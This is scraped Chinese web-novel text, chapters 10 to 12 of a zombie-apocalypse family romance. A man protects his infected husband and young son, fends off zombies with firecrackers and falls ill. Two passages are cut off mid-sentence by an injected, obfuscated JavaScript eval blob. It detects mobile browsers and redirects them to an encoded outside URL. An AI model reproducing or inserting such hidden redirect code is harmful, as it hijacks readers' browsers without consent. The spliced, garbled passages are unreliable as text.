“啊……” 起太猛了,头有点晕。 林早捂着额头,使劲摇了摇脑袋。 模糊的视线重新清晰,林早给林小饱掖好被子,又拉开床头柜抽屉,拿出头戴式耳机,给他戴上。 按下按钮,舒缓轻柔的催眠儿歌开始播放。 这样就不怕小饱被吵醒了。 做完这些事情,林早才穿上棉拖,扶着床头,重新试着站起来。 还好,没事了。 林早轻手轻脚地离开房间,又匆匆忙忙地跑下楼去。 丧尸病毒是在除夕那晚,突然大规模爆发的。 他很怕这些东西,总觉得血呼啦的,看一眼就难受。 在大街上只是匆匆一瞥,回到家里也总是拉着窗帘。 在傅骋被抓伤之前,他从来没有想过,自己有一天要留心观察丧尸。 他不知道感染了丧尸病毒,具体会怎么样。 但是痛苦和煎熬,肯定是有的。 棉拖鞋底交替踏过一级级台阶,发出“啪嗒啪嗒”的声音。 林早胡乱抓了把头发,有点后悔。 昨晚不该睡太死的。 他一两点钟写完日记,就该再下去看看傅骋的。 三四点也该定个闹钟,再下去看一看。 一晚上至少下去看三次,就像宿管查房一样! 林早来到杂物间前,踩着长凳,熟练地爬上去。 掰开窗扣,推开窗扇。 太阳还没出来,就算出来了,里面也是黑漆漆的。 林早探出脑袋,努力辨认。 只见傅骋仍旧维持着昨天的动作,背对着他,躺在床上。 看来乱吼乱叫的丧尸不是他。 还好还好。 林早长舒一口气,放下心来。 骋哥没事就好。 不过—— 林早关上窗扇,抬起头,环顾四周。 他在三楼卧室里,听见的吼叫声不大。 现在到了一楼,声音马上就大了起来。 仔细听听,似乎离得很近,只隔了几面墙。 所以,有丧尸在他们家附近徘徊。 但不知道是单纯路过,还是盯上了他们家,想要闯进来。 林早再次紧张起来,心也跟着提了起来。 他从长凳上跳下来,果断抄起架在墙角的铁棍,不太熟练地握在手里,上下掂了掂。 在哪里? 丧尸在哪里? 林早双手握紧铁棍,立在身前。 这是骋哥教过他的,能保护自己的姿势。 一旦有东西袭击他,他马上就能反击! 林早小心翼翼地挪到墙边,贴着墙往前走。 他一边走,一边透过玻璃,看向窗外,四处寻找丧尸的踪迹。 不管怎么样,丧尸不准出现在他们家附近! 他规定的! 可是,林早绕着一楼的车库和修车店,转了两圈,连一根丧尸毛都没发现。 就在林早觉得丧尸已经走远,准备放下武器的时候,不远处忽然又传来一声嘶吼。 林早被吓了一跳,猛地回头,循声看去。 什么也没看见。 奇怪,一楼他全都搜过了,根本没有看见丧尸。 声音到底是从哪里来的? 林早抓紧铁棍,脑子转得飞快。 难不成短短十几天,丧尸就进化出了翅膀,飞上了天? 还是说……丧尸已经闯进了他们家里,现在就藏在角落里? 不,不可能。 他刚才找丧尸的时候,也顺便检查了一下门窗。 一楼的门窗都好好锁着,没有被破坏过的痕迹。 那……这些声音到底是从哪里来的?又怎么会离得这么近? 忽然,林早灵光一闪,抱着铁棍,跑上了楼。 对,还有一个地方,他没有检查过! 林早跑上二楼,跑进客厅,来到客厅后窗,把窗帘拉开一条缝,朝外面看了一眼。 果然! 两三只丧尸,正拖着肠子内脏,在底下徘徊! 二楼的客厅后窗,正对下去,就是傅骋现在住的杂物间! 他答应过傅骋,不随便开门进去。 所以刚刚巡逻的时候,也就没有进去看。 此时此刻,那几只丧尸,就围在杂物间的排气扇下面,跟没头苍蝇似的,转来转去,绕来绕去。 它们低着头,像是被什么东西吸引,不停地往前走,不停地撞在墙上。 发现前路不通,它们就改用手指抓挠外墙,在墙上留下一道道鲜红的血痕,时不时还发出一声低吼。 一只丧尸叫起来,其他几只都跟着叫。 一呼一应,一唱一和,就像人类打招呼一样。 林早躲在窗帘后面,皱着小脸,疑惑地看着它们。 他们家后面有围墙,路也不算宽,它们是怎么走到这里来的? 之前从来没有过这种情况。 它们这是在做什么?它们是想闯进来吗? 它们为什么想进来?家里有什么东西吸引它们? 它们为什么一直在叫?它们跟谁打招呼? 或者说…… 它们在召唤谁? 下一秒,林早脑子里闪过一个念头。 他眉心一跳,心也跟着重重地跳了一下。 傅骋…… 是傅骋! 这群丧尸盯上了他的骋哥! 傅骋被丧尸抓伤,身上肯定也有丧尸的气息。 这群丧尸闻到了熟悉的气味,以为傅骋是它们的同类,所以才在外面徘徊! 林早握紧铁棍,放下窗帘,回头跑走。 不许!骋哥是他的老公,是他儿子的大爸爸! 骋哥是人类! 不许其他丧尸来召唤他、引诱他! 林早跑回车库,踮起脚,从货架上摘下一把鞭炮,又抓起打火机,匆匆跑上楼。 他回到后窗边,躲在窗帘后面,放轻动作,极其小心地掰开窗扣,把窗扇推开一道小小的缝隙。 林早的手抖得厉害,心跳得更厉害。 底下一共是三只丧尸。 都是成年人模样,不算矮小。 透过满身的血迹,隐约可以看见他们身上蓝色的工装。 他们家往东,不到一千米,就有一个汽车厂。 这些丧尸,应该是过年期间,为了赚三倍工资,特意留在厂子里的工人。 没想到,钱没赚到,反倒变成了丧尸。 林早握紧手里的鞭炮和铁棍,深吸一口气,把怜悯、同情、担忧、害怕、恐惧,这些乱七八糟的情感,全部压下去。 丧尸就在眼前,他管不了这么多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920623|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 他不能退缩,不能放任它们在这里游荡。 万一它们弄坏了排气扇。 万一它们顺着排气扇爬进去。 万一它们真的用叫声同化了骋哥。 他不能拯救世界上的所有人,他只能尽全力保护好自己的家。 就算上面那些“万一”都不成立,这些丧尸总是在这里游荡,留下一地的鲜血内脏,血腥味也会吸引来更多的丧尸。 到那时候,就更不好应付了。 林早呼出一口气,咬了咬牙,按下打火机,把鞭炮引线凑上去。 因为太过紧张,他按动打火机的手滑了两下,又晃了一下。 直到第三次,火苗才终于对准,把引线点燃。 引线刺啦刺啦地响起来,林早飞快地拉开窗户,一扬手,直接把鞭炮丢出去,丢到围墙外面。 嘭—— 丢出去的鞭炮还没落地,就在空中炸开。 林早一鼓作气,又点了三个,全部丢出去。 嘭嘭嘭—— 做完这件事情,他马上把窗户关上锁好,躲了回去。 透过玻璃,林早屏住呼吸,紧紧地盯着楼下。 几只丧尸显然被鞭炮声吸引了注意力,扭动着僵硬的脖子,把头颅转到一个不可思议的角度,看向声音源头。 林早手心里出了汗,在心里默念祈祷。 走开!快点走开!不要围在这里! 不要来找傅骋,傅骋和你们不是一路的! 我的骋哥不是丧尸,不是你们的同类。 走开啊! 终于,不知道是鞭炮响声起了作用,还是林早的意念驱使应验了。 几个丧尸低吼一声,慢吞吞地迈开步子,转身要走。 林早不敢放松,继续祈祷。 对!就是这样! 走!快走! 它们大概是找不到路,转了几圈,撞了几次墙,好几次又要走回来。 林早提着一颗小心脏,恨不得冲下去,给它们带路。 那边!那边啊! 不是这边! 眼看着它们又要走回来,林早只能再次拉开窗户,往外面丢了一颗鞭炮。 这次成功了。 几个丧尸终于找到对的路,跌跌撞撞地离开了。 林早彻底松了口气。 回过神来,这才发现,自己又出了一身的汗,睡衣又浸湿了。 但就算丧尸走了,他也不敢耽搁,匆匆跑下楼去,把傅骋洗车用的长水管拆下来,连带着高压水枪头,一起抱上来。 林早把水管接在厨房水龙头上,拖着长长的水管,再次来到窗边。 打开水龙头的瞬间,一道强劲的水流喷射而出。 水流太强,后坐力太大,林早险些没抓住。 他双手握住水管,让水流对准外墙,把丧尸留在墙上的血迹冲刷干净。 哗啦啦—— 水流喷在墙上,溅起水花,顺着排气扇,洒进杂物间里。 傅骋躺在床上,似乎是受那些丧尸影响,不受控制地、从喉咙里发出阵阵低吼,回应同类。 吼——吼—— 下一秒,水滴飘洒进来,落在他的脸上。 傅骋猛然惊醒,翻身坐起,手掌按在墙壁刻字上,用手心拓印出熟悉的笔画。 ——小早、小早、小早。 ——小饱、小饱、小饱。 他快速默念几遍老婆儿子的名字,把喉咙里呼之欲出的嘶吼声压下去。 ——他不是丧尸,他不是丧尸,他不是…… 下雨了。 傅骋来到排气扇边,伸出双手,接住飘洒的雨点,试图让自己清醒一些。 就在这时,不知从哪里,似乎是天上,飘来青年轻快的声音—— “骋哥,没想到,你还是个‘万人迷’。噢,应该是‘万尸迷’,它们都过来找你。” 傅骋怔了一下,循声抬头。 林早像是在自言自语,又像是在跟他说话。 林早继续说:“不过我比较霸道,我把它们全都赶走了,我不许你跟它们走。” 就在这时,太阳起来了,日光穿过扇叶缝隙,透过空中水雾,落在傅骋的面庞上。 恍惚之间,似乎有一道彩虹,架在排气扇小小的窗口上。 住在楼上的天使,霸道地宣布—— “骋哥是我的人,只许和我一起!” 傅骋恢复些许神智,低低地笑出声来。 ——好,只和小早一起。 11. 第 11 章 11 “骋哥是我的人,只许和我一起。” “其他丧尸不许来找他,来一个我赶一个。” “哼哼!” 林早探出小半边身子,趴在二楼窗台上,双手抓着高压水枪头,用力拽了拽长水管。 就像摇了摇自己的小猫尾巴一样。 他一边操控水流,清洗外墙,一边嘀嘀咕咕,自言自语。 他不知道傅骋已经醒了,也不知道傅骋会听见他说的话。 他只是…… 一个人面对三只丧尸,面对大片大片、鲜红腥臭的血迹,有点害怕。 所以他想着说几句话,发出一点声音,好给自己壮壮胆! “骋哥不是丧尸,骋哥是我老公。” “就算骋哥变成丧尸,那也是我老公。” “是我养的,干净体面有礼貌的家养丧尸,不是野生的。” “嘿嘿!” 林早趴在窗边,跟小猫似的,咪咪喵喵,呼呼噜噜。 差不多意思的几句话,翻来覆去地说。 说到后面,嘴巴干了,脑子也空了,实在是不知道该说什么。 他甩了甩水管,又开始小声唱歌。 “冷冷的冰雨,在脸上胡乱地拍。” “暖暖的眼泪,啦啦啦——”* 林早忘词了。 傅骋站在楼下杂物间里,感觉到细细密密的水珠,从排气扇外飘进来,拍在他的面上。 越来越多,越来越急。 傅骋哭笑不得,笑得又宠溺又无奈。 老婆唱得好!又好听又符合现实! 他和老婆有心灵感应! 林早抓着水枪头,对准外墙,冲了足足十分钟。 直到把墙上的鲜血全部冲刷干净,空气中再闻不到一点儿血腥味,他才把水龙头关掉。 林早把长水管卷起来,收拾好,抱回楼下。 路过杂物间门口的时候,他抬起手,轻轻拍了一下铁门—— “骋哥,安心睡觉。你的那些‘尸朋尸友’全都被我打发走了,别想出去鬼混。” 傅骋翘起嘴角,尝试发出声音,最后却只是从僵硬的喉咙里,挤出一声低沉的“呼噜”。 ——遵命!老婆! 像狼狗撒娇。 可是声音太低,林早没有听见。 他打着哈欠,伸着懒腰,准备上楼去,睡个回笼觉。 时间还早,小饱肯定还没醒。 趁着小饱饱还没醒,捏捏他圆滚滚的小肚子,贴贴他肉鼓鼓的小脸蛋。 充棉很足,手感柔软,还自带发热系统和语言系统。 比商场里卖的毛绒玩偶好捏一百倍。 林早美滋滋地想着,刚准备踏上台阶。 下一秒,熟悉的声音从他头顶传来—— “爸爸!” “啊?” 林早被吓了一跳,险些没站稳。 他一手扶住栏杆,一手捂住心口,抬头看去。 只见林小饱穿着小恐龙睡衣,脖子上还挂着林早给他戴上的耳机,就站在楼梯转角上。 他板起小脸,瘪着小嘴,用力一跺脚! 小饱饱之怒,地动山摇! “爸爸,你是不是偷偷把门打开,偷偷进去看大爸爸了?” “没……” “我们不是说好了,不能随便把门打开的吗?你说话不算话!” “没有……” “你和大爸爸偷偷见面,偷偷……约会,都不邀我!你根本没有把我当儿子!” “没有啊。” “什么?!” 林小饱本来是很生气的,结果越说越委屈,越说越难过。 嘴巴一瘪,自己把自己给说哭了。 他一大早被吵醒。 想找爸爸,爸爸不在。 想找大爸爸,大爸爸也不在。 小崽崽的命好苦啊!比爸爸爱吃的巧克力还苦! “不是!” 林早见他哭了,连忙迈开腿,一步跨过三级台阶,蹲在他面前,把他抱进怀里。 “冤枉啊!爸爸没有啊!小饱大人……小人!” 林小饱愣了一下,震惊地睁大眼睛,看着爸爸。 爸爸,你竟然还敢骂我! 我可是看过很多部动画片和电视剧的! 我不是小文盲!我知道“小人”是不好的词! “不是……”林早抿了抿唇角,努力憋住笑,改了口,“冤枉啊,小孩、小崽、小饱。” 林小饱撅起嘴巴,鼓起腮帮子,一脸不相信。 林早抱着他,轻轻摇了摇,认真解释:“爸爸没有开门进去,爸爸只是在门外面,跟大爸爸说了一句话而已。” 林小饱将信将疑:“真的吗?” “当然是真的。”林早继续说,“刚刚有怪兽在我们家附近走来走去,想闯进来,咬你的屁屁。” “吭哧——” 林早张开手,趁机掐了一把他的屁股肉。 “哎呀!”林小饱扭扭屁股,试图挣扎,“说话就说话,不要咬我呀!” “爸爸为了保护你和大爸爸,拿着武器,和怪兽大战三百回合,打得天昏地暗,日月无光。” “然后呢?”林小饱眨巴眨巴眼睛,担心地看着爸爸。 单纯的小饱饱,已经完全相信爸爸的话了。 “爸爸赢了吗?” “当然啦。” 林早把衣袖往上拽了拽,露出自己细瘦白皙的小胳膊,向林小饱展示自己完美的手臂肌肉,一脸自信。 “不然你和大爸爸,能这么安全地待在家里吗?” “哇!”林小饱两眼放光,崇拜地看着他,“爸爸,你真厉害。” “可是……”林早收敛了笑容,垂下眼睛,叹了口气,“唉——” “爸爸……” 林早偏过头去,不让他看见自己眼底的泪:“小饱竟然误会爸爸,还这么凶巴巴地说爸爸,爸爸真是太伤心了……” “对不起。”林小饱连忙扑上前,钻进爸爸怀里,张开小手,拍拍他的后背,“对不起,爸爸。我不是故意的。” “哇哇哇——”林早张大嘴巴,哭得更大声了。 林小饱手忙脚乱地安慰他,要给他擦眼泪。 “我……我早上醒来,发现爸爸不在我旁边,就以为爸爸和大爸爸把我丢掉了。” “因为之前大爸爸也是这样干的。我和爸爸一起,睡得好好的,结果他趁我睡着,把我抱到小床上去,一个人霸占爸爸!” “我以为这次也是这样,所以……所以……” 林小饱抱住爸爸,像爸爸哄他那样,轻轻摇摇他。 “对不起,爸爸,是我误会你了。” “好吧。”林早点点头,“那这次就原谅你啦。” 林小饱看着爸爸的脸,总觉得有哪里不对劲。 眼泪呢?爸爸的眼泪呢? 算了,不管了! 爸爸能原谅他就好了! 林小饱傻乐:“谢谢爸爸!” “走吧。”林早拉住他的手,“我们上去刷牙洗脸换衣服。” “好。” “你早饭想吃什么?稀饭还是面条?” “嗯……”林小饱歪了歪脑袋。 “又要用你的‘点落点滴滴’?”林早了然,“那你在心里慢慢点,我们先……” 林早一边说,一边牵着林小饱的手,站起身来,想带他上楼。 可是话还没说完,林早刚站起来,忽然感觉双眼一黑,双腿一软,整个人都摇摇晃晃的。 “爸爸!”林小饱回过头,大喊起来。 与此同时,杂物间的铁门“哐当”响了一声。 就像是傅骋也跟着喊了一声—— “小枣!” “没事……我没事……” 林早摇摇脑袋,眼前又是一阵发花。 和他早上起床时的情形一模一样。 “爸爸,你怎么样?” 林小饱抱住他的胳膊,试图用自己小小的身体,把林早扶起来。 “我扶你去楼上休息!我是大力士!” “没事没事,爸爸没事……” 林早怕把他撞倒,赶忙制止他的动作,自己扶着墙,小心翼翼地在楼梯上坐下。 “只是有点头晕,应该是低血糖。小饱,你去楼上,拿两块糖给爸爸……” “好!” 话还没完,林小饱马上答应下来,转身冲上楼。 “爸爸,你乖乖在这里等我!” “好。”林早捂着脑袋,闭着眼睛,点了点头,还不忘叮嘱他,“不用着急,别摔跤了。” “嗯!” 林小饱重重地应了一声,迈着小短腿,加足马力,全速往楼上跑。 过年的时候,大爸爸载他们去批发市场买了很多糖果,把车子都塞满了。 他现在就去拿! 林早坐在台阶上,捂着脸。 不过短短几秒,他的脸色和唇色“唰”的一下就白了下去。 眼前一阵一阵发花,脑袋一阵一阵发晕,身上也一阵一阵地冒汗。 耳边一阵嗡鸣,四周一片寂静,林早只能听见自己过分猛烈的心跳声。 他整个人往边上一歪,几乎要晕过去。 就在这时,杂物间的铁门,又“哐哐”响了两声。 傅骋重重地撞了两下铁门,恨不得直接把门撞破,冲到林早身边。 他根本没有用脑子思考。 在林小饱大声喊出“爸爸”两个字的时候,他就控制不住自己了。 撞门是他下意识的动作,出去也是他下意识的想法。 他心底有一个声音,在不停地嘶吼追问—— 小枣怎么了?出什么事了? 外面有人吗?为什么没声音了? 老婆呢?儿子呢?他的老婆儿子怎么了? 让他出去!让他出去!他要去找老婆儿子! 傅骋撞门的巨响,让林早回过神来。 他抬起头,环顾四周,目光茫然。 下一秒,林小饱的声音传来—— “来了!爸爸,我来了!” 他两只手抓着一大把糖果,从楼上冲下来。 可是因为他的手太小,抓不住那么多。 糖果稀里哗啦地往下掉,最后只剩下一两颗。 林小饱把手里的糖果全部塞给林早,怕他没力气撕包装,又把东西抢回去,用力扯开。 “爸爸,别着急,我马上给你开!” “好,小饱也别着急……” 林早伸出手,接过一颗荔枝味的硬糖,送进嘴里。 “爸爸,快吃!这里还有!” 林小饱觉得不够,又拆开一颗青苹果味的,放进他手里。 把手里的糖果拆完了,他又跑到楼梯上,捡起刚刚掉在地上的糖果,继续拆开。 西瓜味、桃子味、草莓味。 一颗接着一颗,往林早嘴里塞。 “爸爸,快!快吃!” “好……” 林早含着一嘴的糖果,说话也含糊不清。 他试图婉拒:“好了好了,已经够了,嘴巴装满了……让爸爸休息一会儿……” “那就吃软糖!”林小饱严肃说,“软糖可以嚼,爸爸你嚼一下,直接咽下去。我现在就去拿!” “不用……” 话音未落,林小饱又转身跑走了。 林早拦都拦不住。 没多久,林小饱就抱着一大把软糖回来了。 这一回,他用双手捧着糖果,小心翼翼,稳稳当当 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“大爸爸的手大,你的手太小了,等一下被爸爸传染,也变成小冰棍了。” “噢。” 林早还穿着傅骋的军大衣,他把手伸进口袋里,把装在里面的一大串钥匙掏出来,交给林小饱。 “小饱,交给你另一个任务,帮爸爸保管一下。” “好!” 林早蜷着身子,揣着手,跺着脚取暖。 林小饱抱着一大串钥匙,一根一根数过去。 “这是大门钥匙,这是后门钥匙,这是房间的钥匙,这是……这是……” “嗯?”林早转过头,“哪一根不认识呀?” “这个——” 林小饱指着挂在钥匙扣上的巧克力糖。 “爸爸,这里还有一颗糖,要不要我剥给你吃?” 林早连忙阻止:“不可以。” “为什么?” “这颗是大爸爸从外面带回来的,大爸爸把它和钥匙挂在一起,只有到了最最最危险的时刻,才可以吃它。” “现在不危险吗?” “已经不危险了。” “好吧。” 林小饱似懂非懂地点了点头。 林早搂住他的肩膀,温声道:“谢谢你,小饱。你用你的聪明和勇敢,救了爸爸。” “不客气。”林小饱挠挠头,有点害羞,“大爸爸说,我可是家里的小顶梁柱耶。” “那就谢谢小顶梁柱啦。” “嘿嘿!” 林小饱刚准备往爸爸怀里扑,忽然想起爸爸还在生病,赶紧刹车,自己站好。 林早笑得温柔,摸摸他的头发:“大爸爸给我们带回吃的,爸爸把怪兽赶走了,你又救了爸爸,我们一家三口都很厉害。” “那当然了。”林小饱昂首挺胸,“但我是最厉害的。” “这样啊?”林早笑着说,“但是就算再厉害,也不能和爸爸、大爸爸分开。” “嗯。” “我们一家人,永远也不能分开。” 这话意有所指,像是说给林小饱,也像是说给傅骋,但更像是林早说给自己听的。 楼梯上,林小饱懵懵懂懂。 杂物间里,傅骋靠在门上,听到这句话,目光有一瞬间的清明。 怪他,都怪他。 要是他能冲破铁门,出去守着老婆儿子就好了。 要是他在外面的时候,能找点药,给老婆儿子囤着就好了。 要是他……要是他没有被丧尸抓伤,那就好了。 傅骋靠在门上,一股巨大的无力和自责涌上他的心头。 他应该多找点物资,应该多注意一些。 才不至于现在…… 隔着一扇门、一堵墙,连老婆儿子究竟是什么情况,也看不见。 忽然,傅骋喉头一哽,一口鲜血上涌,控制不住地从嘴角溢出来。 又缓了十多分钟,林早觉得差不多了,才重新牵起林小饱的手,带着他上楼。 林早温声问:“小饱昨晚睡得好吗?” “嗯……”林小饱想了想,“一开始,我有点担心大爸爸,都没睡着。” “所以你找爸爸聊天了,爸爸知道。然后呢?” “然后就睡着了,睡得很好。” “外面吵不吵?你有没有被吵到?” “有!”林小饱大声抱怨,“外面的狮子老虎,一直在‘嗷嗷’叫,都把我吵醒了!” “爸爸后来不是给你戴了耳机吗?戴了耳机还听得见吗?” “听不见了,但是……” 林小饱欲言又止。 “怎么了?儿歌不好听吗?都是你最爱听的呀。” “后来儿歌放完了,我就又被吵醒了。” “嗯?” 林小饱抬起手,把挂在脖子上的耳机摘下来,送到爸爸面前。 林早低下头,俯身去听。 下一秒,由傅骋倾情献唱、富有节奏感的老歌,从耳机里飘了出来—— “哥有老婆,他很爱我。” “哥有老婆,许下过承诺。” “哥的一生,只爱我——老——婆——”* 林早深吸一口气,没忍住笑出声来。 不知道傅骋什么时候录的,还存起来了。 他的品味真的是……很土! 林小饱把耳机戴回头上,跟着大爸爸学唱歌。 林早反应过来,连忙阻止:“不许跟大爸爸学。” 他把耳机从林小饱头上摘下来,然后…… 戴在了自己的头上。 12. 第 12 章 12 早上起来,两次头晕。 虽然吃了糖,缓过来一些,但林早还是感觉脑袋晕晕乎乎的,身上也酸酸胀胀的。 整个人都轻飘飘的。 不像是低血糖,反倒像是感冒着凉。 林早不敢拖延,上楼找到水银体温计,夹在胳肢窝里,简单量了一□□温。 三十七度九。 算是低烧。 这几天,他总是穿着睡衣、光着双脚,就往外面跑。 更别提今天早上,他出了一身的汗,就趴在窗台上,吹了十多分钟的风。 肯定是这个时候染上的。 偏偏是这个时候。 林早捂了捂额头,把体温计收好,又翻出家里备用的布口罩,给自己戴上。 他感冒不要紧,熬一熬就过去了。 小饱可不能被他传染了。 小孩子的抵抗力本来就差,感冒一次能闹翻天。 就算家里备有感冒药,最好还是能不吃就不吃。 林早戴着口罩,围着围裙,实在是没有力气做早饭,就往电饭锅里多加了点水,准备煮一锅白稀饭。 电饭锅煮出来的稀饭,水和米容易分层,米粒也不会开花。 当然不如人守在锅边,不断搅拌,熬出来的稀饭香。 但是这样更快,也更方便。 林小饱不挑食,不管爸爸给他做什么,他都能吃得香喷喷。 趁着稀饭在煮,林早推开厨房窗户,从窗台花盆里,挖出两块生姜。 他们家的厨房背阴,窗台又大又宽,外面还装着不锈钢防盗网。 傅骋就弄了几个大花盆,种上葱姜,摆在外面。 平时洗菜洗碗,顺手就能浇水。 做菜要用的时候,一伸手就能拿到。 林早把生姜洗干净,又拿出菜刀案板,“哐哐”几下,把生姜拍扁拍碎,拍出汁液。 架起小锅,冷水下姜,慢慢熬煮。 他实在是不爱吃药,也不想浪费感冒药。 低烧而已,先喝点姜汤,发发汗,看情况再说。 二十分钟后,白稀饭煮好了,姜汤也熬好了。 湿湿嗒嗒、黏黏糊糊的白稀饭,不管是搭配干干脆脆的猪肉肉松,还是咸咸香香的丁香小鱼干罐头,都很好吃。 林小饱埋头苦吃,一口气吃了两大盆。 林早没什么食欲,但还是打起精神,垫巴了小半碗。 吃完早饭,林小饱把昨晚傅骋吃过的饭盒洗干净,林早把剩下的稀饭装进去。 父子二人和往常一样,下楼去给傅骋送饭。 不一样的是—— 这一回,林小饱紧紧跟在爸爸身边,两只小手举在半空,蓄势待发。 勇敢的小饱饱,时刻准备着,接住晕倒的爸爸! 林早转过头,对上他紧张担忧的目光,没忍住笑起来。 隔着口罩,林早弯起眉眼,摸摸他的小脑袋。 “不用担心,爸爸没事,不会再晕倒了。” “爸爸,你也不用担心。”林小饱一脸严肃,“我刚刚吃了很多饭!我现在感觉我浑身都是力气,完全可以扶住爸爸!” “好吧。”林早点点头,顺着他的话说,“那就麻烦小饱,保护爸爸了。” “爸爸放心!” 父子二人说着话,来到杂物间外面。 “爸爸,我来给大爸爸送饭!” 林小饱快跑两步,抢先来到窗口前,想要爬到长凳上。 可是…… 林小饱往上一跳,双手扒着长凳边缘,整个人挂在半空。 奋力蹬脚!使劲蹬脚! 加油!努力!呀呀呀! 凳子太高了,他上不去。 可恶!他不相信!继续用力! 林早揪着他衣服上的小熊帽子,把他放回地上。 “等你长高一点,再来帮爸爸吧。” “好吧。” 林小饱瘪着小嘴巴,委屈巴巴地应了一声。 他都吃了这么多饭了,怎么还是没长高? 要是能长得和爸爸一样高就好了,爸爸一抬腿,就能踩到凳子上。 或者和大爸爸一样高,大爸爸连凳子都不用踩,踮起脚,就能够到窗台。 真是不公平! 另一边,林早爬到长凳上。 这阵子傅骋总是在睡觉,林早也就没喊他,直接推开了窗户。 可下一秒,黑暗的角落里—— 倏地闪过两道红光。 傅骋猛地抬起头,毫不掩饰的锐利视线,直直地落在林早的脸上。 杂物间里很黑,再加上林早自己也晕乎乎的,他看不清里面的场景,只当傅骋还在睡觉。 傅骋躲在角落里,与黑暗融为一体,却能将窗外的林早看得清清楚楚,明明白白。 身形单薄的青年,戴着普普通通的白色口罩,只露出一双微微泛红、略带倦意的眼睛。 他看起来不太好。 像一朵半蔫的玫瑰花,又像一只闹了病的小猫咪。 他看起来又很好—— 很好吃。 白皙挺拔的脖颈,细瘦修长的手腕,在黑暗里几乎能反光。 香气扑鼻,沁人心脾,一口下去,芬芳四溢,一定特别好吃。 林早完全没有察觉到傅骋灼热的视线,他只是和昨天一样,低着头,垂着眼,轻轻拽着绳子,把篮子提上来。 他不知道,这样的动作,会把他美味的脖颈和手腕,展露得更加明显。 他也不知道,在角落里暗中窥伺的傅骋,几乎要把自己的牙咬断,把自己的手掰断。 ——好香,这个人闻起来好香。 ——废话,这是我的小早!能不香吗? ——好吃,这个人一定很好吃。 ——不许!不许吃我的小早! ——你清醒一点,你的小早也是我的! ——小早好吃,但是小早怕疼,所以不能吃小早。 被丧尸病毒大肆攻击的脑子,一片混乱。 傅骋几乎要被撕成两半。 他自己也说不清楚,自己到底在想什么。 他只觉得,一股难以言喻的悲伤和心痛,涌上他本该毫无波澜的心头。 可是他分不清,这股悲伤,是因为他吃不到眼前这个细皮嫩肉的青年,还是因为青年病成这样,他的心在痛。 丧尸病毒与人类理性。 理智与兽性,食欲与爱欲。 彻底混杂在一起,酿成他心底最原始、最本能的冲动。 ——他喜欢这个青年,特别喜欢! 不管用什么方法,咬他一口也好,把他吃了也好。 傅骋蹲在墙角,抿了抿还带着血迹的唇角,舔了一下已经长成的、尖利的犬牙。 他像一头潜伏在草丛里的野狼,紧紧盯着心爱的猎物,虎视眈眈,蓄势待发。 他想把这个青年按在地上,咬他的脖颈,啃他的脸蛋。 他想和这个青年,血肉交融。 就在这时,早饭送到。 林早拉上窗户,转身离开。 傅骋霍然起身,猛扑上前。 完全是野兽生扑猎物的动作! 同一时刻—— 林早跳下长凳,傅骋扑了个空,撞在墙上。 猎物跑了。 傅骋低下头,静静地看着猎物留给他的粉色爱心饭盒。 沉默片刻,傅骋转身离开。 让猎物给他送饭,像什么样子? 饭盒还这么难看,不吃! 下一秒,傅骋转身回来,拿起饭盒,靠在墙边,熟练地打开盖子,开始吃饭。 吃!吃的就是老婆送的饭! * 送完早饭,林早带着林小饱,回到楼上。 放在炉子上的姜汤也不烫嘴了。 傅骋种的姜都是老姜,在楼梯上都能闻到一股冲鼻子的姜味。 林早盛了一碗,就尝了一小口,结果辣得他眼眶通红,眼泪都出来了。 “咳咳……不行,辣死了……” 林早一边咳嗽,一边摆手,试图驱散辣味。 林小饱踮起脚,想帮爸爸拍拍背,可还是不够高。 他只能关心地问:“爸爸,你还好吗?” “没事……”林早把碗放下,抱来红糖罐子,往里面加了两勺,搅和搅和。 红糖化开,姜汤变成棕红色,闻起来也没有那么冲了。 林早喝了一口,点点头。 这下可以了。 林小饱黏在爸爸身边,见他没有再咳嗽,才放下心来。 他伸长脖子,探头探脑,想看看爸爸喝的东西长什么样。 实在看不见,他就好奇地问:“爸爸,有多辣?” “特别辣。” “比辣条还辣吗?” “不是一种……嗯?”林早反应过来,转头看他,“你什么时候偷偷吃了辣条?” “嗯……”林小饱眨巴眨巴眼睛,单纯可爱地望着爸爸,“没有呀。” 林早怀疑地看着他:“真的吗?小崽崽不能说谎。” 林小饱连忙道:“是大爸爸带我吃的!” 林早磨了磨后槽牙:“那就揍大爸爸!” 林小饱用力点头:“支持!” 林早又喝了一口姜汤,问:“你想不想喝?爸爸给你盛一碗。” “嗯嗯!”林小饱继续点头,“想喝!想喝!” 辣辣的,肯定很好喝。 像方便面、麻辣烫的汤一样。 “说好了,这个汤真的很辣,而且和辣条的辣不一样,比辣条还辣。爸爸先给你盛半碗,你必须全部喝完,不许浪费。” “没问题!” 林早笑了笑,用林小饱的小碗,给他盛了一小勺。 姜汤驱寒,这么冷的天,小孩子喝一点也好,可以预防风寒。 “给。”林早把小碗递给他,“端好了。” “好。”林小饱兴高采烈地接过小碗,低头看了一眼,“这么少!我一口就能喝完!” “不少啦,你先喝,喝完再添。” “好吧。”林小饱双手捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920625|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起碗,“爸爸,干杯!” 林早笑着,用自己没喝过的地方,和他碰了一下碗:“‘干碗’。” 林小饱撅起嘴巴,凑近碗边。 好喝的辣辣汤,他来了! “啊……啊!” 